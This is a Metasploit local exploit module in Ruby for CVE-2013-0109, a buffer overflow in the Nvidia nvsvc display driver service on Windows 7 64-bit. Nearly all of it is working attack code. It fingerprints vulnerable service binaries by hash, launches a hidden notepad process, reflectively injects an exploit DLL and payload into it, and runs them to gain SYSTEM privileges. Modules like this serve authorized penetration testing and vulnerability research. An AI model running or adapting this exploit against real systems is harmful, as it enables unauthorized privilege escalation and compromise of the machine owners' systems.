## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/process' require 'msf/core/post/windows/reflective_dll_injection' require 'msf/core/post/windows/services' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Post::Windows::Services def initialize(info={}) super(update_info(info, { 'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation', 'Description' => %q{ The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to interact with the service. It contains a stacked based buffer overflow as a result of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe', the service name is 'nvsvc', and the named pipe is 'nsvr'. This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012. It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012. }, 'License' => MSF_LICENSE, 'Author' => [ 'Peter Wintersmith', # Original exploit 'Ben Campbell', # Metasploit integration ], 'Arch' => ARCH_X86_64, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows x64', { } ] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'BadChars' => "\x00" }, 'References' => [ [ 'CVE', '2013-0109' ], [ 'OSVDB', '88745' ], [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ], ], 'DisclosureDate' => 'Dec 25 2012', 'DefaultTarget' => 0 })) end def check vuln_hashes = [ '43f91595049de14c4b61d1e76436164f', '3947ad5d03e6abcce037801162fdb90d', '3341d2c91989bc87c3c0baa97c27253b' ] os = sysinfo["OS"] if os =~ /windows/i svc = service_info 'nvsvc' if svc and svc[:display] =~ /NVIDIA/i vprint_good("Found service '#{svc[:display]}'") begin if is_running? vprint_good("Service is running") else vprint_error("Service is not running!") end rescue RuntimeError => e vprint_error("Unable to retrieve service status") return Exploit::CheckCode::Unknown end if sysinfo['Architecture'] =~ /WOW64/i path = svc[:path].gsub('"','').strip path.gsub!("system32","sysnative") else path = svc[:path].gsub('"','').strip end begin hash = client.fs.file.md5(path).unpack('H*').first rescue Rex::Post::Meterpreter::RequestError => e print_error("Error checking file hash: #{e}") return Exploit::CheckCode::Detected end if vuln_hashes.include?(hash) vprint_good("Hash '#{hash}' is listed as vulnerable") return Exploit::CheckCode::Vulnerable else vprint_status("Hash '#{hash}' is not recorded as vulnerable") return Exploit::CheckCode::Detected end else return Exploit::CheckCode::Safe end end end def is_running? begin status = service_status('nvsvc') return (status and status[:state] == 4) rescue RuntimeError => e print_error("Unable to retrieve service status") return false end end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "Exploit not available on this system.") end print_status("Launching notepad to host the exploit...") windir = session.sys.config.getenv('windir') cmd = "#{windir}\\SysWOW64\\notepad.exe" process = client.sys.process.execute(cmd, nil, {'Hidden' => true}) host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-0109", "nvidia_nvsvc.x86.dll") library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid} ...") exploit_mem, offset = inject_dll_into_process(host_process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(host_process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status("Payload injected. Executing exploit...") host_process.thread.create(exploit_mem + offset, payload_mem) print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end end